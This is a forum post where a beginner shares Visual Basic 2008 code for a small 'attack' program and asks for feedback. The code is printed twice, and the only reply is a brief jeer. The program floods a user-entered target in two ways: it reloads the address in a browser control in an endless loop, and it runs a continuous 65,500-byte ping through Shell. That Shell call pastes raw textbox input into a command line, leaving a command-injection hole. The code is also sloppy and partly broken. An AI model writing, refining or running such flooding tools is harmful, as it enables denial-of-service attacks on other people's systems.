made this

hi programmers
i'm totally new with this shit and this is the first thing i've made with a little help
what do you guys think(made in vb2008)


Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Do
WebBrowser1.Navigate(TextBox1.Text)
Loop

End Sub

Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged

End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Timer1.Enabled = True
ProgressBar1.Value = 100

End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Enabled = False
ProgressBar1.Value = 0
MsgBox("De aanval wordt gestopt")
End Sub

Private Sub EventLog1_EntryWritten(ByVal sender As System.Object, ByVal e As System.Diagnostics.EntryWrittenEventArgs) Handles EventLog1.EntryWritten

End Sub

Private Sub Label2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label2.Click

If My.Computer.Network.IsAvailable = True Then
Label2.Text = "connected"
Label2.ForeColor = Color.Green
Else
Label2.Text = "disconnected"
Label2.ForeColor = Color.Red
End If

End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Timer2.Enabled = True

ProgressBar1.Value = 100
End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Shell("ping " + (TextBox1.Text) + "-t -l 65500")

End Sub

Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
Timer2.Enabled = False
ProgressBar1.Value = 0
MsgBox("and here it all ends")
ProgressBar1.Value = 0
End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

End Sub

Private Sub DateTimePicker1_ValueChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DateTimePicker1.ValueChanged

End Sub

Private Sub Label6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label6.Click

End Sub

Private Sub ProgressBar1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ProgressBar1.Click

End Sub
End Class

Private Sub
Timer1_Tick(ByVal sender As System.Object,
                ByVal e As System.EventArgs)
Handles Timer1.Tick

  Do
    WebBrowser1.Navigate(TextBox1.Text)
  Loop

End Sub


Private Sub
TextBox1_TextChanged(ByVal sender As System.Object,
                     ByVal e As System.EventArgs)
Handles TextBox1.TextChanged
End Sub


Private Sub
Button1_Click(ByVal sender As System.Object,
              ByVal e As System.EventArgs)
Handles Button1.Click

  Timer1.Enabled = True
  ProgressBar1.Value = 100

End Sub


Private Sub
Button2_Click(ByVal sender As System.Object,
              ByVal e As System.EventArgs)
Handles Button2.Click

  Timer1.Enabled = False
  ProgressBar1.Value = 0
  MsgBox("De aanval wordt gestopt")

End Sub


Private Sub
EventLog1_EntryWritten(ByVal sender As System.Object,
                       ByVal e As System.Diagnostics.EntryWrittenEventArgs)
Handles EventLog1.EntryWritten
End Sub


Private Sub
Label2_Click(ByVal sender As System.Object,
             ByVal e As System.EventArgs)
Handles Label2.Click

  If My.Computer.Network.IsAvailable = True Then
    Label2.Text = "connected"
    Label2.ForeColor = Color.Green
  Else
    Label2.Text = "disconnected"
    Label2.ForeColor = Color.Red
  End If

End Sub


Private Sub
Button3_Click(ByVal sender As System.Object,
              ByVal e As System.EventArgs)
Handles Button3.Click

  Timer2.Enabled = True
  ProgressBar1.Value = 100

End Sub


Private Sub
Timer2_Tick(ByVal sender As System.Object,
            ByVal e As System.EventArgs)
Handles Timer2.Tick

  Shell("ping " + (TextBox1.Text) + "-t -l 65500")

End Sub


Private Sub
Button4_Click(ByVal sender As System.Object,
              ByVal e As System.EventArgs)
Handles Button4.Click

  Timer2.Enabled = False
  ProgressBar1.Value = 0
  MsgBox("and here it all ends")
  ProgressBar1.Value = 0

End Sub


Private Sub
Form1_Load(ByVal sender As System.Object,
           ByVal e As System.EventArgs)
Handles MyBase.Load
End Sub


Private Sub
DateTimePicker1_ValueChanged(ByVal sender As System.Object,
                             ByVal e As System.EventArgs)
Handles DateTimePicker1.ValueChanged
End Sub


Private Sub
Label6_Click(ByVal sender As System.Object,
             ByVal e As System.EventArgs)
Handles Label6.Click
End Sub


Private Sub
ProgressBar1_Click(ByVal sender As System.Object,
                   ByVal e As System.EventArgs)
Handles ProgressBar1.Click
End Sub

End Class

ugly AND Purple.